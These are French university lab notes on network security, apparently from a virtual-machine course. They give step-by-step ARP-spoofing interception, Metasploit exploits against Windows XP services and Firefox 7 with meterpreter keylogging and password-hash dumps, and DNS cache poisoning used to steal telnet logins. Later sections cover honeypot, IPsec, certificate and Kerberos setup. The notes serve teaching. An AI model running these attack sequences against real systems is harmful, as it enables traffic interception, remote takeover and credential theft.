====== Quelques Notes Utiles en Sécurité des Réseaux ======
__Site Web__ : http://dept-info.labri.fr/~guermouc/SR
Console Qemu : Ctrl-A + C puis system_reset pour reboot une machine.
====Man-in-the-Middle avec arpspoof====
Obligatoirement, dans un LAN, //syl// souhaite intercepter les échanges entre //nile// et //immortal//.
syl$ echo 1 > /proc/sys/net/ipv4/ip_forward # on active le routage
syl$ arpspoof -i eth0 -t @immortal @nile &> /dev/null &
syl$ arpspoof -i eth0 -t @nile @immortal &> /dev/null &
syl$ tcpdump -i eth0 -s 1500 -w /mnt/host/capture # on fait la capture
syl$ pkill -9 arpspoof # on arrête arpspoof !
Votre fichier //capture// se trouve dans le répertoire ~/SR-QEMU-session/syl/ de votre machine hôte. Lancez Wireshark, ouvrez votre capture. Sélectionner la trame TCP qui vous intéresse et cliquez avec le bouton-droit sur "Follow TCP Stream" pour afficher tous les échanges associés à une connexion.
==== Metasploit ====
Lancer //metasploit// :
$ msfconsole
msf >
Un exploit se prépare en plusieurs étapes :
- le choix d'un exploit (//exploit//) parmi une liste d'exploits disponibles dans le framework
- le choix de la cible (//target//)
- le choix des options
- le choix de l'attaque à réaliser (//payload//)
==1) Attaque d'un serveur TFTP dans Windows XP SP0 English==
Voici un petit exemple d'attaque d'un serveur TFTP ({{secres:at-tftpd19.exe|Allied Telesyn TFTP Server 1.9}}) s'exécutant sur une machine //Windows XP SP0 English//. Ce serveur est connu pour avoir une faille de sécurité de type //stack buffer overflow// !
msf > nmap -sS 192.168.56.3 # recherche des services disponible sur la machine victime
### exploit
msf > show exploits
msf > search ftp
msf > use expoit/windows/tftp/attftp_long_filename # completion possible à partir de exploit/...
msf > info
### target
msf > show targets
msf > set target 6 # Windows XP SP0/1 English
### options
msf > show options
msf > set LHOST 192.168.1.2 # local host (attaquant)
msf > set RHOST 172.16.1.2 # remote host (victime)
### payloads
msf > search payload/windows
msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp
### run exploit
msf > exploit # ou run
### meterpreter
meterpreter > help
meterpreter > ls
meterpreter > ps
meterpreter > migrate 1172 # migre vers le processus 1172 (explorer dans cette session)
meterpreter > shell # lancer un shell distant !
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
__Nota Bene__ : les payloads "windows/shell/*" ne marche pas dans ce TP... Utilisez plutôt meterpreter !
==2) Attaque d'un Mozilla Firefox 7 dans Windows XP SP0 English==
On peut récupèrer Firefox 7 sur http://www.oldapps.com/firefox.php...
msf > search mozilla
msf > use exploit/windows/browser/mozilla_nssvgvalue
msf > info
msf > set TARGET 1 # Firefox 7
msf > show options
msf > set SRVHOST 0.0.0.0
msf > set SRVPORT 8080
msf > set URIPATH /exploit.html
msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp
msf > exploit
Ces options permettent de configurer le faux-serveur web sur la machine locale, où metasploit s'exécute (port # 8080). il faut maintenant que la victime sur Windows XP à se connecte via Firefox 7 à "http://192.168.0.2:8080/exploit.html".
msf > sessions -l
msf > sessions -i 1 # pour changer de session et utiliser meterpreter !!!
Pour tuer notre faux serveur web, avant de relancer l'exploit si besoin...
msf > jobs # pour lister les jobs..
msf > kill 0 # pour tuer le job 0
==3) Meterpreter, pour aller plus loin...==
msf > set PAYLOAD windows/meterpreter/bind_nonx_tcp
# ou au choix...
# msf > set PAYLOAD windows/meterpreter/reverse_tcp # attention, nonx ne fonctionne pas ici !?
meterpreter > help
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:e3ddfcef033a10d2e90d291bb8013f0f:fcef812fa4e67dc6702c73cffe2df3bd:::
lucifer:1003:bac14d04669ee1d1aad3b435b51404ee:fbbf55d0ef0e34d39593f55c5f2ca5f2:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ab152ca65206611cab918710ca4dc19b:::
Avec OPHCRACK, on effectue une attaque brute-force et on récupère le mot de passe du compte Lucifer :-)
{{ secres:metasploit-ophcrack.jpeg?500 }}
== Nouveautés 2020-2021 ==
Une nouvelle vulnerabilite se trouve sur nile : il s'agit d'un *vsftpd* avec une backdoor. La backdoor est decrite ci-dessous.
https://www.hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable/
Attention, une fois l'exploit réussi, il faut rejoindre un shell en background.
Par ailleurs, la commande suivante permet de scanner 192.168.1.2 et de trouver s'il y a des services vulnerables et de proposer dans la foulée l'exploit a utiliser.
nmap -sS 192.168.1.2 -vv --script vuln
==4) D'autres attaques à tester sur Windows XP==
* http://www.rapid7.com/db/modules/exploit/windows/dcerpc/ms03_026_dcom (service msrpc, tcp/135, faire un search dcom dans metasploit...)
* http://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi
__Biblio__ (à compléter)
* http://www.go4expert.com/forums/showthread.php?t=24743
* http://www.securitytube.net/video/445
* http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands
==== DNS Cache Poisonning ====
__Scenario__ : Nile se connecte périodiquement à Atg en telnet. Ainsi, Nile effectue périodiquement une requête DNS auprès de Immortal, qu'il transmet à un autre serveur DNS, Grave, qui connait la réponse (i.e. l'adresse IP associé au nom de domaine de Atg). La durée de vie du cache DNS de Immortal est de 1mn.
Nous souhaitons usurper les identifiants (login/password) que Nile utilise pour se connecter à Atg. Nous avons accès à deux machines Syl et surtout Dt qui se trouve astucieusement en placer entre les deux serveurs DNS Immortal et Grave.
Sur Dt, on écoute le traffic DNS (UDP, port 53) entre Immortal et Grave. En utilisant tcpdump et wireshark, on découvre le nom de domaine de Atg : atg.gfd.net et son adresse IP avec la commande nslookup : 172.16.21.23. Nota Bene : Cette étape n'est pas toujours facile, car il y a beaucoup de traffic entre les deux serveurs DNS.
On va ensuite configurer un faux serveur DNS (dnsmasq) sur Dt qui va intercepter les requêtes à destination de Grave et formuler une "fausse" réponse, en associant l'adresse IP de Syl (192.168.0.2) au nom atg.gfd.net !
# configuration de dnsmasq
dt$ echo "192.168.0.2 atg.gfd.net" > /etc/dnsmasq.hosts
dt$ /etc/init.d/dnsmasq restart
# test local du faux serveur
dt$ nslookup atg.gfd.net localhost # la réponse doit être @syl
# redirection du traffic DNS vers le faux serveur
dt$ iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53
# test distant du faux serveur
syl$ nslookup atg.gfd.net # la réponse doit être @syl
A partir de ce moment, Nile qui effectue périodiquement la commande "telnet atg.gfd.net" va en fait envoyer sa requête telnet à @syl ! En effectuant, un tcpdump sur Syl, on peut vérifier que nile.xyz.com (192.168.20.2) effectue des tentatives de connexions telnet. Nous allons rediriger ces connections TCP (port 23) vers la vraie machine Atg pour mettre en place notre Man-in-the-Middle...
nile$ tcpdump -s 1500 -w /mnt/host/capture &> /dev/null &
nile$ /root/redirect.sh 23 172.16.21.23
Le script redirect.sh utilise sur Syl deux netcat (client & serveur) reliés via 2 pipes nommés pour rediriger la connexion TCP/IP vers Atg dans les deux sens. Il faut patienter une minute au moins et faire plusieurs tentatives, pour finalement intercepter les identifiants de la session Telnet avec Wireshark !!!
==== IPS Suricata ====
* https://suricata.readthedocs.io/en/suricata-4.0.5/rules/intro.html
* https://suricata.readthedocs.io/en/suricata-4.0.5/rules/index.html
* Exemples : https://redmine.openinfosecfoundation.org/projects/suricata/wiki/protocol_anomalies_detection
====Honey Pot====
//Attention : ces notes n'ont pas été remise à jour...//
On installe le honeypot sur syl (192.168.0.2), qui va simuler un réseaux 10.0.0.0/8.
__Routage__
immortal$ route add -net 10.0.0.0/8 dev eth1
ou
immortal$ route add -net 10.0.0.0/8 gw 192.168.0.2
__Daemon ARP__
En ligne de commande :
syl$ farpd -d -i eth0 10.0.0.0/8 &
Faites un ping depuis opeth vers 10.0.0.1 et vérifiez que syl reçoit ce message. Si c'est le cas, vous pouvez mettre en place le //honey pot//.
__Honeypot__
Configurer le fichier /etc/default/honeyd
RUN="yes"
INTERFACE="eth0"
NETWORK="10.0.0.0/8"
syl$ /etc/init.d/honeyd restart
On vérifie les erreurs potentielles dans /var/log/honeypot/*.log. __Avertissement__ : Le daemon honeyd renvoie un message "failed" systématiquement, même s'il fonctionne correctement !!!
__Configuration du honeypot__
Configurer le réseau simulé dans le fichier /etc/honeypot/honeyd.conf. Remplacez ce fichier par le fichier suivant. Les # sont des commentaires. Ce fichier instancie deux machines 10.0.0.1 et 10.0.0.2 avec des profils et des services différents.
create default
set default default tcp action block
set default default udp action block
set default default icmp action block
# Example of a simple host suse80 and its binding
create suse80
set suse80 personality "Linux 2.4.7 (X86)"
set suse80 default tcp action reset
set suse80 default udp action block
set suse80 default icmp action open
set suse80 uptime 79239
set suse80 droprate in 4
add suse80 tcp port 21 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/proftpd.sh $ipsrc $sport $ipdst $dport"
add suse80 tcp port 22 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/ssh.sh $ipsrc $sport $ipdst $dport"
add suse80 tcp port 80 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/apache.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 23 "sh scripts/unix/linux/suse8.0/telnetd.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 25 "sh scripts/unix/linux/suse8.0/sendmail.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 79 "sh scripts/unix/linux/suse8.0/fingerd.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 110 "sh scripts/unix/linux/suse8.0/qpop.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 143 "sh scripts/unix/linux/suse8.0/cyrus-imapd.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 515 "sh scripts/unix/linux/suse8.0/lpd.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 3128 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 8080 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport"
#add suse80 tcp port 8081 "sh scripts/unix/linux/suse8.0/squid.sh $ipsrc $sport $ipdst $dport"
#add suse80 udp port 53 proxy 24.35.0.12:53
bind 10.0.0.1 suse80
# Example of a simple host WIN and its binding
create WIN
set WIN personality "Microsoft Windows XP SP1"
set WIN uptime 1728650
set WIN maxfds 35
add WIN tcp port 80 "sh /usr/share/honeyd/scripts/win32/web.sh"
add WIN tcp port 22 "/usr/share/honeyd/scripts/test.sh $ipsrc $dport"
set WIN default tcp action reset
bind 10.0.0.2 WIN
__Test__
syl$ tail -f /var/log/honeypot/honeyd.log # pour afficher en continu l'activité réseau du honeypot
opeth$ ping 10.0.0.1
opeth$ traceroute -T 10.0.0.1 # TCP plutôt que UDP
opeth$ nmap -O 10.0.0.1 # OS guess
opeth$ xprobe2 10.0.0.1 # OS guess
==== IPSEC avec racoon ====
FIXME : //Corriger les adresses IPs.//
Configuration LAN-to-LAN d'un tunnel IPSEC entre les gateways //immortal// et //syl//.
OPETH ------ IMMORTAL ===== TUNNEL IPSEC ====== SYL ------ NILE
(LAN) GW GW (LAN)
192.168.0.0/24 192.168.1.2 172.16.0.2 10.0.0.0/24
La configuration s'effectue en 2 étapes :
- on dit via //setkey// quel traffic doit utiliser IPSEC plutôt que IP -> /etc/ipsec-tools.conf
- on configure via l'IKE //racoon// comment IPSEC doit fonctionner (négociation des clefs, algo encryptage, ...) -> /etc/racoon/racoon.conf
==Génération du PSK (Pre Shared Secret)==
immortal$ dd if=/dev/random count=24 bs=1 |xxd -ps
a1e27a604351ffd147f82b50a4f7bcf60d04822c93fa1efd
Attention à utiliser /dev/random (et non /dev/urandom), mais il faut générer de l'entropie dans le système en bougeant la souris par exemple !!!
Dans le fichier /etc/racoon/psk.txt de immortal, vous ajoutez votre secret :
# remote @IP key 24 bytes (en hexadecimal)
172.16.0.2 0xa1e27a604351ffd147f82b50a4f7bcf60d04822c93fa1efd
Ne pas oublier le "0x" en préfixe de la clef hexadecimal ! Faire de même pour la gateway syl (avec la même clef évidemment)
__Nota Bene__ : par la suite on utilisera des certificats pour assurer l'authentifcation, plutôt qu'un secret partagé.
==Configuration de l'IKE Racoon==
IKE = Internet Key Exchange. Protocole standard sous-jacent : isakmp (phase1 ou phase2), implanté ici par Racoon. Fichier de configuration : /etc/racoon/racoon.conf
Protocole de négociation des paramètres de sécurité en deux phases :
- IKE Security Negotiation (section proposal)
- IKE IPSEC Negotiation (section sainfo)
Une connexion IPSEC regroupe (au moins) deux SA (security association), une SA étant unidirectionnelle...
Quelques paramètres :
* dh_group : diffie-helman (DH) pour la génération des clefs de session symétrique utilisé dans la phase 1 (plusieurs groupes possibles, ex. 1024 bits)
* pfs_group (perfekt forwarding secrecy) : nouveau DH utilisée pour la phase 2
path pre_shared_key "/etc/racoon/psk.txt";
# adresse publique de la GW distante
remote 172.16.0.2 {
proposal {
encryption_algorithm aes;
hash_algorithm sha1;
authentication_method pre_shared_key;
dh_group modp1024;
}
verify_identifier on;
peers_identifier address;
exchange_mode main;
}
# communication LAN-to-LAN
sainfo address 192.168.0.0/24 [any] any address 10.0.0.0/24 [any] any {
pfs_group modp1024;
encryption_algorithm aes,3des;
authentication_algorithm hmac_sha1,hmac_md5;
compression_algorithm deflate;
}
Faire de même pour la gateway syl
__Attention__ : authentification en anglais s'écrit //authentication// !
Memento pour racoon.conf :
sainfo (source_id destination_id | source_id anonymous | anonymous destination_id | anonymous) { ... }
source_id = address address [/ prefix] [[port]] ul_proto
exemple : address 192.168.0.0/24 [any] any
==Configuration des politiques de sécurité avec Setkey==
Setkey : gestion des SPD (Security Policy Database)
On peut également forcer des SA manuellement dans "ipsec-tools.conf" mais dans ce cas là, on utilise pas IKE...
On pourra utiliser le protocole de communication pour IPsec : AH ou ESP ou les deux.
* __AH (Authentication Header)__ : authentification + intégrité. Utilisation d'une fonction de hash cryptographique et simple ajout du AH header (pas de chriffrement des data IP qui sont en clair).
* __ESP (Encapsultated Security Payload)__ : chiffrement et authentification ajout d'un ESP Header / ESP trailer et ESP auth. Contrairement à AH, le header IP extérieur de ESP n'est pas protégé ! AH a tendance à disparaître au profit de ESP. La différence principale entre ESP et AH, vient du fait que ESP chiffre les données (payload), et pas AH.
On peut choisir à ce niveau le mode transport ou tunnel...
* __Transport__ : Dans le mode transport, seul les data IP sont protégés, mais pas le header, mais cela n'a pas d'intérêt dans le cas host-to-host, où les IP src/dst sont de toute façon connues !
* __Tunnel__ : Dans le mode tunnel, le paquet IP entier (header + data) est protégé et encapsulé dans un autre paquet IP par la gateway... les IP src/dst des LANs sont masqués.
Dans le cas LAN-to-LAN, on préfèrera le mode tunnel, alors que pour du host-to-host on choisira plutôt le mode transport...
__Nota Bene__: roadwarriors (client volatile, IP anonymous, authentifé par un certificat)
# Set to "no" to disable loading ipsec.conf on startup
RUN_SETKEY=yes
#!/usr/sbin/setkey -f
# NOTE: Do not use this file if you use racoon with racoon-tool
# utility. racoon-tool will setup SAs and SPDs automatically using
# /etc/racoon/racoon-tool.conf configuration.
#
## Flush the SAD and SPD
flush;
spdflush;
# paquet sortant (out, src-dst)
spdadd 192.168.0.0/24[any] 10.0.0.0/24[any] any -P out ipsec
esp/tunnel/192.168.1.2-172.16.0.2/require;
# paquet entrant (in, src-dst)
spdadd 10.0.0.0/24[any] 192.168.0.0/24[any] any -P in ipsec
esp/tunnel/172.16.0.2-192.168.1.2/require;
Faire de même pour la gateway syl. Changer ESP en AH dans la config...
==Démarrage==
immortal$ /etc/init.d/setkey restart && /etc/init.d/racoon restart
syl$ /etc/init.d/setkey restart && /etc/init.d/racoon restart
En cas de problème ;-)
immortal$ tail /var/log/syslog
On peut augmenter le loglevel dans racoon.conf:
# Log level is one of following: error, warning, notify, info, debug and debug2.
log debug;
==Un petit test==
Depuis une machine du tunnel (grave), on lance tcpdump pour contrôler le traffic échangé. On intercepte un premier ping qui circule entre //opeth// et //nile//. On voit l'IKE faire son job (négociation ISAKMP). Puis après on ne voit pas d'ICMP mais du ESP (les adresses src et dst sont remplacées par celle des gateways, mode tunnel).
09:51:35.610567 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident
09:51:35.622455 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident
09:51:35.650666 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident
09:51:35.670857 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident
09:51:35.707636 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 1 I ident[E]
09:51:35.711302 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 1 R ident[E]
09:51:35.712150 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 2/others R inf[E]
09:51:35.713748 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I inf[E]
09:51:36.716755 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I oakley-quick[E]
09:51:36.740753 IP 172.16.0.2.isakmp > 192.168.1.2.isakmp: isakmp: phase 2/others R oakley-quick[E]
09:51:36.742167 IP 192.168.1.2.isakmp > 172.16.0.2.isakmp: isakmp: phase 2/others I oakley-quick[E]
09:51:37.607221 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x1), length 132
09:51:37.608881 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x1), length 132
09:51:38.611715 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x2), length 132
09:51:38.612711 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x2), length 132
09:51:39.610716 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x0868526a,seq=0x3), length 132
09:51:39.611679 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0x0d2380d8,seq=0x3), length 132
09:51:40.600353 ARP, Request who-has 192.168.1.1 tell 192.168.1.2, length 28
09:51:40.600461 ARP, Reply 192.168.1.1 is-at a2:00:00:00:03:00 (oui Unknown), length 28
== Utilisation du mode transport==
Attention, on ne fait plus du LAN-to-LAN, mais du HOST-to-HOST, entre immortal et syl...
Ce qu'il faut ajouter.... par exemple sur immortal
1) Dans /etc/racoon/racoon.conf, il faut ajouter une SA pour le transport:
sainfo address 192.168.1.2 any address 172.16.0.2 any {
pfs_group modp1024;
encryption_algorithm aes,3des;
authentication_algorithm hmac_sha1,hmac_md5;
compression_algorithm deflate;
}
2) Ce qu'il faut ajouter dans /etc/ipsec-tools.conf
spdadd 192.168.1.2 172.16.0.2 any -P out ipsec
esp/transport//require;
spdadd 172.16.0.2 192.168.1.2 any -P in ipsec
esp/transport//require;
==== Génération des Certificats ====
-> utilisation de certtool, pas de passphrase pour protéger les clés privés par défaut.
1) génération du certificat du CA (et de sa clef privée)
$ certtool --generate-privkey --outfile ca.key
$ certtool --generate-self-signed --load-privkey ca.key --outfile ca.crt
Réponses :
* la plupart des champs peuvent rester vides
* Common name: CA
* The certificate will expire in (days): 255
* Does the certificate belong to an authority? (y/N): y
* Will the certificate be used to sign other certificates? (y/N): y
Afficher les infos du certificat :
$ certtool --certificate-info --infile ca.crt
2) génération du certificat de la machine immortal signée par le CA (et de sa clef privée)
$ certtool --generate-privkey --outfile immortal.key
$ certtool --generate-certificate --load-privkey immortal.key --outfile immortal.crt --load-ca-certificate ca.crt --load-ca-privkey ca.key
* la plupart des champs peuvent rester vides
* CN=@IP
* DNSName=@IP
* IP address=@IP
* The certificate will expire in (days): 255
* Does the certificate belong to an authority? (y/N): N
Et pour le test avec GNUTLS, il faut aussi :
* Will the certificate be used for signing (required for TLS)? (y/N): y
* Will the certificate be used for encryption (not required for TLS)? (y/N): y
3) Afficher les infos du certificat
$ certtool --certificate-info --infile immortal.crt
__Test des Certificats__
Sur la machine qui a servi a généré les certificats, on va lancer le serveur GNUTLS.
dt$ gnutls-serv --x509keyfile dt.key --x509certfile dt.crt
Set static Diffie Hellman parameters, consider --dhparams.
Processed 1 CA certificate(s).
Echo Server ready. Listening to port '5556'.
On copie le certificat du CA sur syl, puis on lance le client GNUTLS.
dt$ scp ca.crt toto@172.16.0.2:/root/
syl$ gnutls-cli --x509cafile ca.crt -p 5556 147.210.0.2
Connecting to '147.210.0.2:5556'...
...
# The hostname in the certificate matches '147.210.0.2'.
# Subject's DN: CN=147.210.0.2
# Issuer's DN: CN=CA
...
- Peer's certificate is trusted
...
- Handshake was completed
Notez que le serveur est TRUSTED, car on dispose du certificat du CA pour l'authentifier ! C'est le schéma typique de HTTPS.
Le client peut également envoyer son certificat, afin que le serveur puisse également l'authentifié. C'est le schéma typique de IPSEC.
dt$ gnutls-serv -r --x509cafile ca.crt --x509keyfile dt.key --x509certfile dt.crt
syl$ gnutls-cli --x509cafile ca.crt --x509keyfile syl.key --x509certfile syl.crt -p 5556 147.210.0.2
Dans ce cas, le message "Peer's certificate is trusted" est affiché pour le client et le serveur. CQFD
Pour test GNUTLS en tant que serveur HTTP, plutôt que ECHO :
* côté serveur, ajouter l'option : --http -p 443
* côté client, ajouter l'option : -p 443
Ensuite, GET / HTTP/1.0
==== IPSEC avec LibreSwan ====
Considérons les certificats suivants (ainsi que les clés privés) pour le CA, syl et immortal :
ca-cert.pem
ca-key.pem
immortal-cert.pem
immortal-key.pem
syl-cert.pem
syl-key.pem
Pour afficher le contenu du certificat :
certtool -i < dt-cert.pem | more
Il faut commencer par générer des fichiers PCKS#12 avant de les importer dans la base NSS/SQL. Pour faire simple, on donnera comme id/password "syl"/"syl" pour le fichier syl.p12. Plus concrètement, il faut taper sur immortal les commandes suivantes :
# génération fichier immortal.p12 (sur immortal)
immortal# certtool --load-certificate immortal-cert.pem --load-privkey immortal-key.pem \
--load-ca-certificate ca-cert.pem --to-p12 --outder --outfile immortal.p12
# génération fichier syl.p12 (sur immortal, sans clé privé)
immortal# certtool --load-certificate syl-cert.pem --load-ca-certificate ca-cert.pem \
--to-p12 --outder --outfile syl.p12
# RAZ de la base NSS
immortal# rm -f /var/lib/ipsec/nss/*; ipsec initnss
# import dans la base NSS
immortal# ipsec import immortal.p12
immortal# ipsec import syl.p12
Faire de même sur syl. On peut vérifier que l'import s'est bien fait avec les commandes suivantes :
immortal# certutil -L -d sql:/var/lib/ipsec/nss # on voit les certifs de immortal, syl et CA
immortal# certutil -K -d sql:/var/lib/ipsec/nss # on voit uniquement la clé de immortal
__Configuration d'un Tunnel__
Configuration LAN-to-LAN d'un tunnel IPSEC entre les gateways Immortal et Syl
//On considère la configuration suivante ; attention, les IPs ne sont pas à jour !//
OPETH ------ IMMORTAL ===== tunnel ipsec ====== SYL ------ NILE
(LAN) GW GW (LAN)
192.168.0.0/24 192.168.1.2 172.16.0.2 10.0.0.0/24
Les éléments de configuration importants entre les deux HOSTs (transport) ou les deux LANs (tunnel).
Tout d'abord, il faut comprendre que "left" représente vous-même, tandis que "right" représente votre vis-à-vis.
Par exemple, sur la machine immortal (192.168.1.2), gateway du lan 192.168.0.0/24, que l'on souhaite connecté par un tunnel IPSec au lan 10.0.0.0/24 dont syl (172.16.0.2) est la gateway.
Attention à ne pas mélanger les adresse publiques/privées pour la gateway en mode tunnel !
* type= tunnel # tunnel ou transport
* left= 192.168.1.2 # adresse public de la gateway du lan en mode tunnel
* leftsubnet= 192.168.0.0/24 # adresse du réseau privé (mode tunnel seulement)
* leftcert= immortal # ID certificat associé à immortal
* right= 172.16.0.2
* rightsubnet= 10.0.0.0/24
* rightcert= syl
Nota Bene : La machine immortal doit disposer des certificats immortal.crt et syl.crt en local, ainsi que du certificat de l'autorité de certification (CA).
#/etc/ipsec.conf @ immortal
version 2.0
# basic configuration
config setup
plutodebug= all
plutostderrlog=/var/log/pluto.log
protostack=netkey
nat_traversal=no
nhelpers=0
# Add connections here
conn tunnelipsec
type= tunnel
left= 192.168.1.2
leftsubnet= 192.168.0.0/24
leftcert= immortal
right= 172.16.0.2
rightsubnet= 10.0.0.0/24
rightcert= syl
phase2alg= aes-sha1
Sur immortal, il faut ajouter dans /etc/ipsec.secrets :
# /etc/ipsec.secrets
: RSA immortal
Faire de même sur syl...
//Attention// : Dans /etc/ipsec.secrets, ne pas oublier l'espace entre : et RSA, ainsi que le retour à la ligne à la fin !!! Dans /etc/ipsec.conf, ne pas oublier les tabulations après la ligne "conn tunnelipsec" et le retour à la ligne tout à la fin !!!!
Pour démarrer le tunnel ipsec :
immortal# service ipsec restart
immortal# ipsec auto --add tunnelipsec
immortal# ipsec auto --up tunnelipsec
__Configuration d'un Road Warrior__
//TODO: Mettre à jour//
OPETH ------ IMMORTAL ===== tunnel ipsec ====== DT
(LAN) GW ROAD WARRIOR
192.168.0.0/24 192.168.1.2 147.210.0.2
# /etc/ipsec.conf @ immortal
version 2.0
# basic configuration
config setup
plutodebug= all
plutostderrlog=/var/log/pluto.log
protostack=netkey
nat_traversal=no
nhelpers=0
# Add connections here
# Using simple ID (@dt)
conn roadwarrior
type= tunnel
leftcert= immortal.crt
left= 192.168.1.2
leftsubnet= 192.168.0.0/24
right= %any # anybody
rightcert= dt.crt
rightid= @dt
# /etc/ipsec.conf @ dt
version 2.0
# basic configuration
config setup
plutodebug= all
plutostderrlog=/var/log/pluto.log
protostack=netkey
nat_traversal=no
nhelpers=0
# Add connections here
# Using simple ID (@dt)
conn roadwarrior
type= tunnel
rightcert= immortal.crt
right= 192.168.1.2
rightsubnet= 192.168.0.0/24
leftcert= dt.crt
left= %defaultroute
leftid= @dt
# /etc/ipsec.secrets @ syl
: RSA dt.key ""
Démarrage. Sur chaque extrémité du tunnel, il faut lancer :
$ /etc/init.d/ipsec restart
Puis, sur les deux, on lance :
$ ipsec auto --add tunnelipsec
Puis, sur l'une des deux (ou sur le client dans la config roadwarrior), on lance :
$ ipsec auto --up tunnelipsec
Ensuite, on peut tester un PING entre opeth et nile ou dt selon la config. En effectuant un tcpdump sur grave, on doit uniquement voir circuler un traffic encripté du type ESP (Encapsultated Security Payload). Notons que dans la phase 1 & 2 d'initialisation de l'IKE, le protocole utilisé est ISAKMP.
__Test tunnelipsec__
Depuis opeth, ping 10.0.0.2 (nile)...
Un tcpdump sur grave doit montrer uniquement de l'ESP entre les GWs
13:36:12.962705 IP 192.168.1.2 > 172.16.0.2: ESP(spi=0x40be009e,seq=0x6), length 116
13:36:12.963475 IP 172.16.0.2 > 192.168.1.2: ESP(spi=0xeeddc86c,seq=0x6), length 116
==== Kerberos ====
On considère le LAN suivant avec le domain DNS metal.fr déjà configuré.
* opeth (serveur kerberos)
* immortal et opeth (client kerberos)
1) Configurer le fichier /etc/krb5.conf sur client et serveur
2) Ajouter sur le serveur dans le fichier /etc/krb5kdc/kdc.conf
[realms]
METAL.FR = {
database_name = /var/lib/krb5kdc/principal
admin_keytab = FILE:/etc/krb5kdc/kadm5.keytab
acl_file = /etc/krb5kdc/kadm5.acl
key_stash_file = /etc/krb5kdc/stash
...
}
3) Création de la base de donnée Kerberos sur le serveur
$ kdb5_util create -s
mot de passe : toto
4) Créer le fichier /etc/krb5kdc/kadm5.acl en y ajoutant
*/admin@METAL.FR *
5) Administration de Kerberos sur le serveur... Toutes les commandes :
opeth$ kadmin.local
-> Authenticating as principal root/admin@METAL.FR with password.
kadmin.local: addprinc -randkey host/immortal.metal.fr
-> Principal "host/immortal.metal.fr@METAL.FR" created.
kadmin.local: addprinc -randkey host/opeth.metal.fr
-> Principal "host/opeth.metal.fr@METAL.FR" created.
kadmin.local: ktadd -k /tmp/tmp.keytab host/immortal.metal.fr
opeth$ scp /tmp/tmp.keytab toto@immortal:/tmp/
immortal$ cp /tmp/tmp.keytab /etc/krb5.keytab
opeth$ rm /tmp/tmp.keytab
opeth$ kadmin.local
kadmin.local: ktadd -k /tmp/tmp.keytab host/opeth.metal.fr
opeth$ cp /tmp/tmp.keytab /etc/krb5.keytab
opeth$ kadmin.local
kadmin.local: addprinc toto@METAL.FR
-> Enter password for principal "toto@METAL.FR": => ktoto
-> Re-enter password for principal "toto@METAL.FR": => ktoto
-> Principal "toto@METAL.FR" created.
kadmin.local: listprincs # affiche tous les principes générés
__Remarques__ : La commande addprinc permet d'ajouter des principes "host/*" au KDC. On extrait les clefs associées pour que le serveur partage chaque clef avec les clients correspondants. La commande addprinc permet également d'ajouter des principes "user". Dans ce cas précis, le secret partagé sera le mot-de-passe saisie de manière interactive avec la commande kinit. Donc, ktadd inutile.
Pour vérifer les clés installés sur les clients :
immortal$ ktutil
ktutil> rkt /etc/krb5.keytab
ktutil> l # list keys
6) Démarrage du serveur
opeth$ /etc/init.d/krb5-kdc restart
immortal$ kinit toto
Password for toto@METAL.FR: => ktoto
immortal$ klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: toto@METAL.FR
Valid starting Expires Service principal
12/02/10 14:54:33 12/03/10 00:54:33 krbtgt/METAL.FR@METAL.FR
renew until 12/03/10 14:54:29
7) Test FTP
immortal$krb5-ftp opeth
Connected to opeth.metal.fr.
220 opeth FTP server (Version 5.60) ready.
334 Using authentication type GSSAPI; ADAT must follow
GSSAPI accepted as authentication type
GSSAPI authentication succeeded
Name (opeth:root): toto
232 GSSAPI user toto@METAL.FR is authorized as toto
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
OK ça marche !!!
8) PAM
PAM permet d'automatiser l'athentification avec Kerberos.
immortal$ pam-auth-update
[*] Kerberos authentication
[*] Unix authentication
[ ] LDAP Authentication
[ ] Inheritable Capabilities Management
Utilisation de Kerberos de manière transparente...
